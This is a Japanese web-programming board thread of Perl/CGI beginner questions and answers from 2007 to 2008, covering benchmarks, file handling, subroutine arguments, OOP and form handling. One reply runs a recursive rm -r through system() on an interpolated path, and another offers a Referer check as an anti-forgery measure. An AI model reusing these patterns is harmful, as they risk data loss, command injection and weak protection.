for(1..$n){ &cgi_2(); }
$lt2 = time() - $st2;
printf "%.3f s\n",$lt1;
printf "%.3f s\n",$lt2;
0537530
2007/12/06(木) 14:42:47ID:???これの結果が、This is perl, v5.8.8 built for MSWin32-x86-multi-thread(Pen4 3.4G mem2G)で、
Benchmark: timing 100 iterations of u_CGI, u_CGIL...
u_CGI: 4 wallclock secs ( 0.05 usr + 0.11 sys = 0.16 CPU) @ 641.03/s (n=100)
u_CGIL: 2 wallclock secs ( 0.02 usr + 0.06 sys = 0.08 CPU) @ 1282.05/s (n=100)
4.031 s
1.453 s
こうなった。wallclockは正しいようだけど、詳細の内容が実態に即してないように思える。
同じコードを、以前Unix(CentOSやFedora)環境でやってみても、同じような結果になる。
(とゆうか、詳細な数値は覚えてないけど、CGIとCGI::Liteが、ほぼ同程度の速度とかレポートされた。)
あと、そのLinuxで、>>533のようなベンチを取ったときも、やっぱり push(@log,$_) が最速だった。
あくまでもウチの環境で、でだけど。
@log=<IN>の倍程度は出てた。ファイルの容量、行数が多いほうが、よりpushが早かった。
(そちらのDarwinは、@log=<IN>形式がかなり早いね。)
ついでに、>>533のコードに、use Time::HiRes 書き足して、自分の環境でやった結果。
(OS等は同上。ファイルは、1行約200バイト、50万行で総計約100MB。時間かかるので、n=2で測定)
Benchmark: timing 2 iterations of op1, op2, op3...
op1: 72 wallclock secs (70.59 usr + 1.36 sys = 71.95 CPU) @ 0.03/s (n=2)
op2: 35 wallclock secs (33.95 usr + 0.66 sys = 34.61 CPU) @ 0.06/s (n=2)
op3: 38 wallclock secs (37.22 usr + 0.73 sys = 37.95 CPU) @ 0.05/s (n=2)
op1 = 138.750 s
op2 = 49.078 s
op3 = 54.547 s
0538nobodyさん
2007/12/06(木) 18:28:34ID:???気を悪くなさったなら謝罪します。
==================================
一応、そちらの>>356の実行結果
Benchmark: timing 100 iterations of u_CGI, u_CGIL...
u_CGI: 16 wallclock secs ( 0.01 usr 0.32 sys + 11.46 cusr 3.34 csys = 15.13 CPU) @ 303.03/s (n=100)
u_CGIL: 5 wallclock secs ( 0.01 usr 0.30 sys + 3.00 cusr 1.96 csys = 5.27 CPU) @ 322.58/s (n=100)
15.595 s
5.506 s
>>357に関しては、
perl hoge.pl
Benchmark: timing 2 iterations of op1, op2, op3...
op1: 266.766 wallclock secs (16.62 usr + 29.02 sys = 45.64 CPU) @ 0.04/s (n=2)
(warning: too few iterations for a reliable count)
op2: 58.1595 wallclock secs ( 9.94 usr + 4.68 sys = 14.62 CPU) @ 0.14/s (n=2)
(warning: too few iterations for a reliable count)
op3: 899.579 wallclock secs (22.62 usr + 63.34 sys = 85.96 CPU) @ 0.02/s (n=2)
(warning: too few iterations for a reliable count)
op1 = 499.930 s
op2 = 108.665 s
op3 = 972.383 s
メモリが潤沢でないから join がこんな目に合うのは当然。
因に自己ツッコミだけど、>>533はサブルーチン内で my @arr なりしないとアンフェアなベンチ、、、、
0539530
2007/12/06(木) 20:10:20ID:???いえいえこちらこそ申し訳ないです。そうゆうわけではありません。
ただ、use Benchmark にイマイチ信用が置けない者の意見として、
状況によっては、use Benchmark がアテにならないこともあるよ、ってことが言いたかっただけです。
>因に自己ツッコミだけど、>>533はサブルーチン内で my @arr なりしないとアンフェアなベンチ
そこは最初に気付いたから、自分のコードの中では、my して計測してます。
追記
CentOS5 でもやってみた。(コード、ファイルはWin環境と同じ)
This is perl, v5.8.8 built for i386-linux-thread-multi (Pen4 2.4G men2G、ソースから'-O3'オプションでコンパイル)
Benchmark: timing 2 iterations of op1, op2, op3...
op1: 5 wallclock secs ( 3.59 usr + 0.54 sys = 4.13 CPU) @ 0.48/s (n=2)
op2: 2 wallclock secs ( 2.44 usr + 0.21 sys = 2.65 CPU) @ 0.75/s (n=2)
op3: 4 wallclock secs ( 3.08 usr + 0.59 sys = 3.67 CPU) @ 0.54/s (n=2)
op1 = 3.677 s
op2 = 2.819 s
op3 = 3.510 s
はやっ!
以前計測した時はこんな早かったかな〜って思ったけど、何回やっても同じような結果になるんで、あってるんだろう。
どうもWin(ActivePerl)が、Unix系に比べて、メモリ確保あたりが激しく遅いのかなって気がしてくる結果でした。
(Discパフォーマンスは同程度、ってかこの環境に限っては、上のレスのWin環境のほうが早い)
0541nobodyさん
2007/12/10(月) 02:52:34ID:FqUmo5vT答えてくれるかと思いましたが、
どうやらそれすら適わないようです。
もっと低レベルの質問をしたい場合はどこに行けば良いですか?
0542nobodyさん
2007/12/10(月) 02:55:27ID:???0543nobodyさん
2007/12/10(月) 20:07:09ID:iaWb7lQXopen(ファイルファンドル,"ファイル名") || &error; ←この&error;もしくはdieとかは
なんの意味があるんでしょうか?
これあってもなくてもInternal Server Error(500)になるんですけど・・・
0544nobodyさん
2007/12/10(月) 20:21:45ID:???ファイル開くのが失敗した時にorの右の式が実行される。
ファイルが無事開ければ1が返すけど、
失敗すると0が返ってくる。
0 or &error;
って実行するとorの右の式が実行されるのが分かる。
my $flag = open〜;
print $flag;
とかやってみれ
どっちにしても500になるのはファイルが存在しないからか、
別の場所でエラーが起きてる。
スクリプトの3行目あたりに
use CGI::Carp 'fatalsToBrowser';
を追加してテバックしなさい。
暇だからマジレスしたぜ
0545nobodyさん
2007/12/10(月) 20:33:24ID:???レス�dです
>500になるのはファイルが存在しないから
あーやっぱりファイル無いと500でるんですね・・
一応ローカルでファイルあるとき(使用中(オープン中))はエラー表示されますた
0546nobodyさん
2007/12/10(月) 23:08:25ID:???ファイルが無くてもorの右の式は実行されるよ。
ローカルでは動くならパーミッションのミスか、cgi用のディレクトリに入ってないとかじゃない?
あとは、perlのパス間違ってるとか。
ファイルが無いときにエラー処理したいなら
&error if (not -e $file);
とかにしれ
or &error;ってやるのはロック中だけにするとエラーの原因が絞れるよ。
0547543
2007/12/11(火) 02:37:10ID:???ローカル環境はXP+apache_1.3.39+ActivePerl-5.8.8.822です
use CGI::Carp qw(fatalsToBrowser);もスクリプトに入ってます
---------------------------------------------
open(FH,"abc.dat") || &error;←ココ
flock(FH,1) || &error;
以下割愛
sub error {
print "content-type: text/html\n";
print "\n";
print "ERROR : $!";
exit;
}
---------------------------------------------
>ファイルが無くてもorの右の式は実行される
>ファイルが無いときにエラー処理したいなら
>&error if (not -e $file);
どうも無理っぽいです ファイル無いと500エラー出ます
500用のエラーページ(←自分で作った)も表示されないので
ファイルが無いと500(強制終了?)ぽいです?
0548nobodyさん
2007/12/11(火) 07:09:06ID:hJLc29jh> flock(FH,1)
その部分を
eval{flock(FH,1)};
にしてごらん
windowsではflock使うと致命的エラーになるよ。
0550nobodyさん
2007/12/11(火) 10:15:38ID:???flockできないのは、非NT系だけ
0552nobodyさん
2007/12/11(火) 18:01:01ID:hJLc29jh良く見りゃopenの種類書いてないけどそこ大丈夫?
>,>>,<,>+
0553nobodyさん
2007/12/11(火) 18:58:11ID:???匿名掲示板だからといって、いい加減なこと言わない方がいいよ。
今まで何度匿名掲示板で犯罪予告して逮捕されたか、知っているの?
偽計業務妨害で逮捕されろ。
0554543
2007/12/11(火) 21:44:35ID:???>>549
ログはこんなんです。
["日時"] [error] [client 127.0.0.1] Premature end of script headers: "該当CGIへのパス"
>>552
openモードの1は省略可能では?
0555nobodyさん
2007/12/12(水) 00:35:05ID:amxfThwD作ったスクリプトをブラウザで実行させると
1分くらい待った後にエラーも出ずに、画面が真っ白に
なったんですが、何が原因ですか?
コマンドラインで-l付きで実行しても文法エラーは出ませんでした。
ただ、コマンドラインが異常に重くなったので、
PCにかなり負担をかけているようです。
無限ループ系のエラーかな?
0557nobodyさん
2007/12/12(水) 10:45:09ID:???ちなみにperlは「パール」と読みます。
超初心者用は「ちょうしょしんしゃよう」です。
三回ほど声に出して読んでみてはいかがでしょう?
0558nobodyさん
2007/12/12(水) 20:59:26ID:???インストールしたんだけどコンパイルとか実行の仕方がわかんないです。
どなたか助けてもらえませんか?
0559nobodyさん
2007/12/12(水) 22:23:24ID:???0561nobodyさん
2007/12/13(木) 02:13:55ID:???Perlはスクリプト言語なので、コンパイルは必要ありません。
コマンドラインからスクリプトを指定して実行するか、
AN HTTPD等からCGIを実行するのに使うのか、
それによってやり方が違います。
とりあえず、わざわざActivePerlを選んだって事はWindowsだと思いますが、
Windowsのバージョン(9x/2000/Xp/Vista)によって設定方法が色々違うので、
下記の情報を書くと多少は情報が得られると思います。
・OSのバージョン
・利用目的(CGI?ローカルのスクリプト?)
とりあえず、藻前は↓コレでも見て出直せYO!
http://pocketstudio.jp/win/activeperl/
0562nobodyさん
2007/12/14(金) 06:41:05ID:???匿名掲示板だからといって、いい加減なこと言わない方がいいよ。
今まで何度匿名掲示板で犯罪予告して逮捕されたか、知っているの?
偽計業務妨害で逮捕されろ。
0564nobodyさん
2007/12/14(金) 21:44:19ID:???CGIなんだけど、あるディレクトリの中身を全消去してから、
そのディレクトリ自体を消去するしようとしているんだけど、ディレクトリの消去がうまくいかない。
$dir = "./abc/hoge/";
opendir DIR, $dir;
@files = grep { !m/^(\.|\.\.)$/g } readdir DIR;
closedir DIR;
$flag = @files;
if ( $flag ) {
foreach $file ( @files ) {
unlink "$dir$file";
}
}
rmdir ("abc/hoge");
rmdirの使い方を間違ってるかと思って、中身入っていないabc/hoge2で試してみると消えてくれた。
どうやらunlink→rmdirの流れが悪いのかと思って、sleepで5秒間止めてみたけど、何も変わらなかった。。。
誰かわかる人いる??検索しても全然わからんかった。。。
0565nobodyさん
2007/12/14(金) 21:47:56ID:???匿名掲示板だからといって、いい加減なこと言わない方がいいよ。
今まで何度匿名掲示板で犯罪予告して逮捕されたか、知っているの?
偽計業務妨害で逮捕されろ。
0566nobodyさん
2007/12/15(土) 01:11:18ID:???use Cwd;
my $dir = "/abc/hoge/";
my $cwd = Cwd::getcwd();
execcommand("/bin/rm -r $cwd/$dir");
exit;
sub execcommand
{
my $cmd = shift;
my $err = '';
my @envbak = ($ENV{'IFS'}, $ENV{'CDPATH'}, $ENV{'ENV'}, $ENV{'BASH_ENV'}, $ENV{'PATH'});
delete @ENV{'IFS', 'CDPATH', 'ENV', 'BASH_ENV', 'PATH'};
eval{
system( $cmd );
};
if ($@) {$err = $@;}
$ENV{'IFS'} = $envbak[0];
$ENV{'CDPATH'} = $envbak[1];
$ENV{'ENV'} = $envbak[2];
$ENV{'BASH_ENV'} = $envbak[3];
$ENV{'PATH'} = $envbak[4];
return $err;
}
0567564
2007/12/16(日) 19:49:12ID:???ありがとうございます。
参考にさせていただきました。
0568nobodyさん
2007/12/17(月) 22:02:42ID:???mimew.pl というファイルを公開している所が見つからないのですが、
なんとか入手する方法はないでしょうか?
0569nobodyさん
2007/12/17(月) 22:08:17ID:???多分これ。保証はしない。
つ[ ttp://ambiente.okayama-u.ac.jp/~blog/cgi-bin/su_downloader/mimew.pl ]
0570nobodyさん
2007/12/17(月) 23:05:24ID:???0571568
2007/12/17(月) 23:13:17ID:???早急な対応ありがとうございます!
無事メールフォームCGIを動かす事が出来ました!!
本当にありがとうございました!
0572nobodyさん
2007/12/17(月) 23:22:17ID:???0573nobodyさん
2007/12/18(火) 08:03:18ID:???よくわからなくて試行錯誤の末下のような方法にたどり着きました
$AA{'name'} = '1234';
$BB[0]{'name'} = 'abc';
$BB[1]{'name'} = 'ああああ';
$BB[2]{'name'} = '!?';
kansuu( \%AA );
$tmp = \@BB;
kansuu( ${\$tmp->[0]} );
kansuu( ${\$tmp->[1]} );
kansuu( ${\$tmp->[2]} );
sub kansu
{
my $h = $_[0];
print "$h->{'name'}<br>";
}
BBの要素を kansuu() に入れるために
もっとスマートな方法(っていうか正しい書式)がありましたら教えてくれないでしょうか?
0574nobodyさん
2007/12/18(火) 19:13:55ID:???ウインドウズXPを使っています。
ActivePerlでコマンドプロント上でppmを使ってImage::ExifToolをインストールしようとしたのですが
>ppm install failed: DBI connect(〜) failed: unable to open database file(1)
と出てインストールできませんでした。
DBIをどうにかしたらよいとは思うのですがよく分かりません。
どうしたらよいのでしょうか?
ご教授お願いします。
0575nobodyさん
2007/12/18(火) 21:22:12ID:???0576574
2007/12/19(水) 19:22:29ID:???具体的な問題点は
・ppmはActivePerlをインストールしただけでは使えない?
・DBIとか落としてきてもどうやってインストールしたらいいのか分からない。
・そもそもPerlの作業をどこで行ったらいいか分からない。
(コマンドプロントでuseをしてもなんにも起こらない←間違っている?)
・つまるところプログラミングのイロハが分からない。
スレ違いというやつですか?
0577574
2007/12/19(水) 19:37:06ID:???ttp://www.fenrir.co.jp/blog/2007/12/useraction_extension_3_1.html
つまずいたのは2のところです。
0579nobodyさん
2007/12/19(水) 23:17:02ID:???使える
・DBIとか落としてきてもどうやってインストールしたらいいのか分からない。
ppmを使う
・そもそもPerlの作業をどこで行ったらいいか分からない。
(コマンドプロントでuseをしてもなんにも起こらない←間違っている?)
まずテキストエディタで書いて保存する
・つまるところプログラミングのイロハが分からない。
あっそ
0580nobodyさん
2007/12/21(金) 01:37:26ID:???WebProgramingに無関係。板違い。誘導。
Perlについての質問箱 33箱目
http://pc11.2ch.net/test/read.cgi/tech/1192463997/l50
0582nobodyさん
2007/12/22(土) 00:59:24ID:+1+1pRnk8 9 10 ってファイル読み込んで
8 9 って出力するにはどう書けばよいですかね
0583nobodyさん
2007/12/22(土) 01:26:23ID:???0584nobodyさん
2007/12/22(土) 02:11:54ID:At3tOlJk0585nobodyさん
2007/12/22(土) 03:40:10ID:???読み込んだファイルの三ツ目の物が必要無いのか
読み込んだファイルの最後の物が必要無いのか
条件が分からなければ判別のしようが無い
0586nobodyさん
2007/12/22(土) 04:19:02ID:At3tOlJkです
ほんとありがとうございます(泣)
0587nobodyさん
2007/12/22(土) 21:44:20ID:???8 9 10ってのは毎回8 9 10なのか?・・・毎回同じってわけじゃないだろうな。
区切りはスペースだけ?タブも?ファイルの中に改行はあるの?
0588nobodyさん
2007/12/22(土) 22:22:37ID:???0589nobodyさん
2007/12/23(日) 04:25:06ID:nSEv05U98 9 10ってのはファイルの内容で
8 9 10ってのは毎回同じってわけじゃないです。
区切りはスペースだけ
0590nobodyさん
2007/12/23(日) 05:02:25ID:???自分で作る気がないなら、仕様をまとめなおして、↓こっちで聞け。
Perlでリクに答えるスクリプトを作るスレ
http://pc11.2ch.net/test/read.cgi/tech/1086143976/l50
0591nobodyさん
2007/12/23(日) 08:20:22ID:???まず基礎を学べ。
んですぐ人に答えを求めようとせず頭使って考えれ。
0592nobodyさん
2007/12/23(日) 10:02:40ID:01+8BPxk記憶をよみがえらせる方法を教えてくれ
0593nobodyさん
2007/12/23(日) 10:05:44ID:???それができないなら、アルツハイマ−かもしれないから病院に逝ったほうがいいな
0594nobodyさん
2007/12/24(月) 01:41:03ID:yCHoznYX1からじゃ何も書けなくなったw
0595nobodyさん
2007/12/24(月) 07:17:33ID:???PHPなのに、気がついたら途中からPerlになってたよw
0596nobodyさん
2007/12/24(月) 12:07:01ID:???ファイルをオープンし、それを一旦最後まで読み込んだ後、
またそのファイルを最初から読み取りを行いたい場合は、
一度ファイルを閉じるしか方法がないのでしょうか。
ファイルで閉じたり開いたりを多く行うと、処理が重くなったり、
ファイルの競合で問題が起きるので、出来れば避けたいのですが。
<コーディングの例>
# ファイルを開く
open ( FL, "dat.csv" );
# ファイルを最後まで読む。
while( $line = <FL> ){
# 何らかの処理
}
close( FL );
open ( FL, "dat.csv" );
# ファイルを最後まで読む。
while( $line = <FL> ){
# 何らかの処理
}
close( FL );
0597nobodyさん
2007/12/24(月) 12:52:16ID:???やりたいことはseekでできる
0598596
2007/12/24(月) 13:19:13ID:???seekで検索してみたところ、すぐに見つかりました。
ありがとうございました。
ファイルの競合で問題というのは、ファイルのロックで
解決することなので、ここでは関係ありませんでした。
0599nobodyさん
2007/12/24(月) 16:29:55ID:???Perlのプログラマーは、オブジェクト指向プログラミングを
メインで行っているのでしょうか。
それとも、処理速度や安定性、多くの環境下で動く、Perl4互換の
構造化プログラミングをしているのでしょうか。
多くの方はどちらでやっているのかを知りたいです。
0600nobodyさん
2007/12/24(月) 16:54:59ID:???>構造化プログラミングをしているのでしょうか。
の部分が突っ込みどころ満載だが、それは使っていくうちに知ってもらうことにして、
とりあえず、Perl5が出てから10年以上たっているので、Perl4の互換性を気にする必要は全くない。
オブジェクト指向も、使いたくないなら使わなくていい。
0602nobodyさん
2007/12/24(月) 17:22:38ID:???「多くの方」はダウソしたcgiをうpしてパーミッション設定するだけだろ。
中途半端な知識でオブジェクト指向を目指すと余計に意味わかんないプログラムになる。
オブジェクト指向の考え方とPerlでのオブジェクト指向の実装方法を十分理解してないなら
オブジェクト指向に手を出さない方が良い。
0603nobodyさん
2007/12/25(火) 10:20:04ID:???レスありがとうございます。
ちょっと確認をしたくて質問なのですが、
PerlでCGIを行う場合に限定すると、サーバのメインメモリにいつまでも
情報が残るわけではないので、オブジェクト指向プログラミングは、
状態の保存などを生かしたものというより、モジュール化を行い、
関数名やグローバル変数名が競合するのを防ぐ程度の意味合いしかないように
思うのですが、この解釈はあっているのでしょうか。
0604nobodyさん
2007/12/25(火) 11:34:27ID:???かといって全部ここに書いてるとキリが無いからググってこい。
っていうか結局何が知りたいんだ? どんな答えが欲しいんだ?
0605nobodyさん
2007/12/26(水) 06:07:36ID:???0606nobodyさん
2007/12/26(水) 12:46:37ID:SU+LBgfrまったくの初心者なのでサーバーに対する負荷とかまったく考えていませんでした。
そこで疑問点が3つあります。
・MySQLが軽いとかよく聞くのですが、
本気でCGIゲームを開発する場合サーバーの負担を抑えるためどういう勉強をしていったほうがいいのでしょうか?
・perlではなくphpのほうに切り替えたほうがいいのでしょうか?
・プログラムを書き終えてperl or phpを実践した後でもMySQLに対応するのは簡単なんでしょうか?
(難しそうなのでperl or php→MySQLではなくプログラムを書き終えた後にMySQLをやったほうが
モチベーションも保てるかと思って。)
phpの話題もでてますが、今はperlのほうを勉強していてこちらのほうが聞きやすいと思って。
よければご教授よろしくお願いいたします。
0607nobodyさん
2007/12/26(水) 12:52:25ID:SU+LBgfr0608nobodyさん
2007/12/26(水) 14:37:40ID:9oL1uy7Ohttp://www.○○.com/?uid=▲▲▲
見たいなURLがあるのですが
これを
http://▲▲▲.○○.com/
にしたいと思っています。
これを実現するにはどのような手段が用いられるのでしょうか?
ご指導や参考URLを頂ければ幸いです。
よろしくお願いします。
0609nobodyさん
2007/12/26(水) 18:35:59ID:8VJWqxjlすいません
prog板初心者スレで聞いてみます、スレ違いだったかな
0611nobodyさん
2007/12/27(木) 14:37:45ID:???ありがとうございます。
聞きたかったのは、Apache + Perl でプログラムする際、
オブジェクト指向で組むと、利便性があがるかどうか、
という点です。
ネット上のサンプルソースでも、オブジェクト指向
で組まれていなかったので、何らかの理由があり、
さほど利便性がないのかと思ったのです。
できましたら、この、「何らかの理由」もあわせて
回答をいただけたらと思っています。
オブジェクト指向一般の利便性については、自分で調べますが。
0612nobodyさん
2007/12/27(木) 14:43:25ID:???それは、サーバのエラーや、Perlなどのプログラムミスによる
ものということですよね?
そのメモリに残ったプロセスを利用してということは
ないと解釈していたのですが。
0614nobodyさん
2007/12/27(木) 17:41:06ID:???これをコメントアウトすると、正常に動いていますので、
パーミッションなどの設定が原因ではないと思います。
疑われる部分はどんなことがあるのでしょうか。
0615nobodyさん
2007/12/27(木) 17:46:33ID:???package関連の記述方法についてです。
定義したクラスのメソッドにおいて、そのクラスがもつ別のメソッドを
呼び出すということは出来ないのでしょうか。
package ClassA;
sub funcA{
print "test";
}
sub funcB{
&funcA;
}
などと記述してみたのですが、エラーがでてしまいます。
&ClassA::funcA; としてもダメでした。
0616nobodyさん
2007/12/27(木) 17:57:54ID:???0618nobodyさん
2007/12/27(木) 19:37:01ID:???全角スペースでインデント(字下げ)してるのは、2chで
見やすくするためです。先頭に半角だと無視されますからね。
0619nobodyさん
2007/12/27(木) 21:40:34ID:HdAuax/Zうむ。書くしかないよな
0621nobodyさん
2007/12/28(金) 00:51:11ID:???レスありがとうございます。
最後に「1;」は書いてます。
メソッド呼び出し部分をコメントアウトすると
動作はするので、メソッド呼び出し部分がおかしいのでは、
と思うのです。
メソッド呼び出しを記述すると、動きはするのですが、
そこで停止してしまうのです。
念のための確認ですが、同じクラス内のメソッド呼び出しの
記述方法はこれであっているとみてよいのでしょうか。
それとも、「ClassA::funcA」などと記述すべきなのでしょうか。
0622nobodyさん
2007/12/28(金) 02:36:45ID:???ウチの環境で、上のコードそのままやってみたけど、
&funcB();
で、ちゃんと'test'と出力されたべ。
呼び出し側のスクリプトの問題じゃないのかな?
以下呼び出し側。
use ClassA;
ClassA::funcA();
ClassA::funcB();
---出力----
test
test
環境 WinXp SP2 ActivePerl 5.8.8-build822
This is perl, v5.8.8 built for MSWin32-x86-multi-thread
0623nobodyさん
2007/12/28(金) 02:51:08ID:???ていうかオブジェクト志向のメリット、デメリットを勉強すれば
ネット上のサンプルソースの例が少ない理由はすぐわかる。
0624nobodyさん
2007/12/28(金) 13:27:40ID:???継承に関して、ネットを調べていると、コードの書き方が
2通りあるようですが、これはどういう解釈をしたらよいのでしょうか。
ClassAが継承もととなる場合
use base qw( ClassA );
@ISA = qw ( ClassA );
use base qw()を使う方法
http://www15.plala.or.jp/h-kihara-home/prog/perl/ooperl.html
http://www.rwds.net/kuroita/program/Perl_oo.html#base
@ISAを使う方法
http://www.rfs.jp/sb/perl/04/03.html
http://bulknews.net/lib/mailmag/22/mag.txt
一方の書き方が古いという類なのでしょうか。
それとも、継承においては特に出てこない、何か違う意味が
含まれているのでしょうか。
お願い致します。
0625nobodyさん
2007/12/28(金) 14:37:39ID:???Perlの場合以下のようにドキュメントとしてコーディング規約は
まとめられてないのでしょうか。
http://www.objectclub.jp/news/community/codingstandard/
0627nobodyさん
2007/12/29(土) 00:20:43ID:???もう一度0からコードを書き直してやってみたら
動きました。
何が悪かったのだろう・・・
全角スペースが入ったりしていると、赤く表示が出る
エディタを使っているのですけどね。
原因が分かりませんが、質問の内容は解決しました。
ご迷惑をおかけしました。
0628nobodyさん
2007/12/29(土) 09:32:18ID:???Perlのオブジェクト指向を調べてみたのですが、なんだか
完全にオブジェクト指向に対応した言語ではなく、
package や ハッシュ を用いて工夫してオブジェクト指向を
実現してるみたいなものですね。
メンバやメソッドにも外部からのアクセス制限をかけたり
出来なさそうだし。
PerlをCGIでやる場合は、まず、GETやPOSTを取得して
どの関数に飛ぶのかを判定し、その関数を書いていくという
処理しかないので、構造化とさほどかわらないのかもと思いました。
ありがとうございました。
0631nobodyさん
2007/12/29(土) 14:02:28ID:???Perlのサイトにはそのサンプルが載っていなかったので、
自分なりにコードを書いてみました。
ttp://www.rfs.jp/sb/perl/02/05.html
ttp://www.site-cooler.com/kwl/perl/4.htm
関数に渡すときのコードの書き方や、受けるときのコードの書き方において、
これが偶然動いているだけなのか、不安になって質問してみました。
書き方は基本的にこれで良いのでしょうか。
やりたいことは、「ハッシュと数値を受け取り、処理を行う関数を
定義すること」です。
sub tt(){
my %t = @_;
print $t{"水"};
print "\n";
print $_[1];
}
%c;
$c{"月"} = 1;
$c{"火"} = 2;
$c{"水"} = 3;
&tt(%c,1);
0632nobodyさん
2007/12/29(土) 15:00:37ID:CoF2fqIAmy ($t,$n) = @_;
print $t->{"水"};
print "\n";
print $n;
}
%c;
$c{"月"} = 1;
$c{"火"} = 2;
$c{"水"} = 3;
&tt(\%c,1);
0633631
2007/12/29(土) 15:52:15ID:???すばやいレスありがとうございます。
いろいろ試してみて気づいたのですが、$_[1]としても、
2番目に指定した引数が取れるわけではないのですね。
今回は偶然$c{"月"}の1が表示されていただけなのには
気づきませんでした。
あと、ハッシュを関数に渡す場合は参照渡しの方が良いのですね。
非常に助かりました。
0636nobodyさん
2007/12/29(土) 20:26:23ID:???理由は大まかに言って、
・ コーディングの自由度の高さこそがPerlの特徴
→ コーディング規約で縛ったらPerlらしくない
・ Perlのコーディングスタイルとしてキーストロークをいかに減らすかを重視するスタイルが存在する
→ キーストロークを減らす派にとってコーディング規約なんて邪魔以外のなにものでもない
・ スクリプト言語なので元の用途は自前のツールをお手軽に作る事だった
→ 自分専用の道具を作るのにJIS規格とかを気にするヤツはいないのと同じでコーディング規約なんてキニシナイ
・ スクリプト言語はコンパイラ言語と違って大規模開発に向いてないと信じられていた
→ 小規模ならコーディング規約なんていらない。
って感じだな。
プロセッサも高性能化し、スクリプト言語でも十分に大規模開発が可能になったが、
・ 未だにキーストロークを減らす派の存在が大きい
・ CPANなど充実したライブラリの存在で実際にコーディングする量はそれほど増えてない
って理由から、わざわざコーディング規約を決めようとする動きも存在しないわけ。
使いたいものが、この世に存在しないなら自分で作ればいい。
もし、藻前さんがPerlのコーディング規約が欲しくて作るというなら、
目を通して意見を言うぐらいの手伝いはこのスレの人もやってくれると思う。
まあ、使う人がそんなにいるとは思えないが。
0637629
2007/12/30(日) 19:23:31ID:???詳細な説明のレスありがとうございます。
自分でもPerlについて調べていたのですが、似たようなことが書いて
ありました。自由度の高さが売りなので、逆に規約が無いということ
ですね。納得しました。(TMTOWTDIと呼ぶみたいですね。)
スクリプト言語関連の部分は調べた範囲ではなかったので、非常に
参考になりました。歴史的な経緯もあるのですね。
私は今までVBなどをやっていたので、Perlの規約が無いのには違和感を
感じますが、自分がなれている独自の規約で書いていこうと思います。
こうなると、コーディング規約よりも「こういう場合はこういう
コードを書くと便利だ」といった、Tips系のものを集めた方が
よさそうな気もしました。
例:POSTで受け取ったデータは、foreachを用いてハッシュに入れると良い。
この方法のメリットは〜〜。デメリットは〜〜。
詳しく考えがまとまったらまた相談します。ありがとうございました。
0638nobodyさん
2007/12/30(日) 20:27:22ID:???use CGI;
my $q = new CGI;
print $q -> param( 'hoge' );
これよりも簡単に書けるなら使ってやる。
0639629
2007/12/30(日) 20:56:34ID:???今まで読んでたサンプルソースにはそんなのが
なかったので知らずに全部コード自作してたよ。orz
0640nobodyさん
2007/12/31(月) 10:57:08ID:???例えば、2ちゃんねるは、別のサイトやローカルPCに保存したhtmlファイル
から「書き込む」をしてもエラーが出て受付けない仕様となっていますが、
こういった不正な入力を防ぐには、具体的にどういったコードを書いたら
よいのでしょうか。環境変数あたりで判断して行うのでしょうか。
0641nobodyさん
2007/12/31(月) 15:09:23ID:???if ($ENV{'HTTP_REFERER'} !~ m!^\Qhttp://俺のサーバ/cgiのパス\E!) {
# 外部から書くな氏ねハゲ池沼ボダ抱いて
}
みたいなかんじで
0642nobodyさん
2007/12/31(月) 15:48:47ID:???.cgi .plのスクリプトを使いたいのですが
どうすれば実行されるのですか?
クリックしても.exe .batみたいに動かないし…
やり方を教わったのですが 意味がわからないし…
教えてください お願いします
0643nobodyさん
2007/12/31(月) 15:51:39ID:???http://pc11.2ch.net/test/read.cgi/php/1187729623/443
0644640
2007/12/31(月) 19:09:34ID:???レスありがとうございます。
書き込みをみて、$ENV{'HTTP_REFERER'}をキーワードで
検索をしてみたのですが、書き方は何種類かパターンが
あるのが分かりました。
$site = "http://俺のサーバ/cgiのパス";
if($ENV{'HTTP_REFERER'} !~ /$site/i)
if($ENV{'HTTP_REFERER'} !~ /^$site/)
この書き方においては、これが一番いいなという結論のような
ものはないのでしょうか。
改行コードの変換の仕方の解説で、こういったサイトを
読んだことがあるので、ちょっと不安になって聞いてみました。
ttp://www.din.or.jp/~ohzaki/perl.htm#CRLF_Unify
0645638
2008/01/02(水) 18:35:41ID:???まぁ、おいらも最初は自作してたんだし。
それに、自作したからこそ理解できた部分もあるだろう?
心配するな。みんな同じ道を歩んできた。
>>640
参照元は偽装できるから、セッション利用するのがいいかもね。
0647nobodyさん
2008/01/04(金) 14:22:05ID:???改行されないようにするのが出来ないですよね?
具体的には、↓これをFORMタグ内に記述したりするものです。
style="float:right"
改行されるのが嫌ならば、FORMタグをTABLEタグの外で記述すれば
いい話ではありますが、デザインの都合上でそれが出来ないケースの話です。
0649nobodyさん
2008/01/04(金) 15:56:37ID:???Perlの場合は、配列と数値を引数で渡すことは出来ないのでしょうか。
例えば、以下のような感じで、@a を @n1 へ、そして、$i を $n2 で
受け取りたいのですが、$n2 値が表示されないのです。
sub FuncA(){
my( @n1, $n2 ) = @_;
print "@n1[0]\n";
print "@n1[1]\n";
print "@n1[2]\n";
print "$n2";
}
@a = ( "aaa", "bbb", "ccc");
$i = 3;
&FuncA( @a, 3 );
0650nobodyさん
2008/01/04(金) 16:19:57ID:???0651649
2008/01/04(金) 16:42:27ID:???レスありがとうございます。
以下のように書き直してみたら、ちゃんと3が表示されましたが、
こういう渡し方をするしかないという意味合いですよね?
sub FuncA(){
my( $n1, $n2 ) = @_;
print "$n1->[0]\n";
print "$n1->[1]\n";
print "$n1->[2]\n";
print "$n2";
}
@a = ( "aaa", "bbb", "ccc");
$i = 3;
&FuncA(\@a,3);
0652nobodyさん
2008/01/04(金) 17:41:36ID:???それがいちばん簡単じゃない?
0654nobodyさん
2008/01/04(金) 20:38:02ID:???「Perlは時代遅れだ。」という書き込みを読んでちょっと不安になったのですが、
Perlは本当に時代遅れなのでしょうか?
レンタルサーバのサービスでは、低価格でもPerlは確実にサポートしているので、
システムを組む時や、別のサーバにシステムを移項するのには非常に
やりやすいものであります。
COBOLがすたれたのは、Excelが出たからというのが一つの要因ですが、
私には、PerlにとってのExcelにあたるものが見当たりません。
なので、PerlはWebプログラミングとしては、まだまだ十分に
活用できる言語だと思っています。
もし、本当にPerlが時代遅れだとすると、PHPやJavaが特有で持っている機能が
必須となるわけですが、それらは具体的にどういう機能なのでしょうか。
よろしくお願い致します。
0655nobodyさん
2008/01/04(金) 22:34:46ID:zn9OWNdo>>652じゃないけど
プロトタイプでできるよ
sub hoge ($@) {
my $foo = shift;
my @bar = @_;
}
hoge($foo,@bar);
たぶんこんな感じだと思う
普通に配列を後で渡せば受け取れるけどね。
$_[0]をshiftしちゃえば同じ事だと理解できればぉk
0656nobodyさん
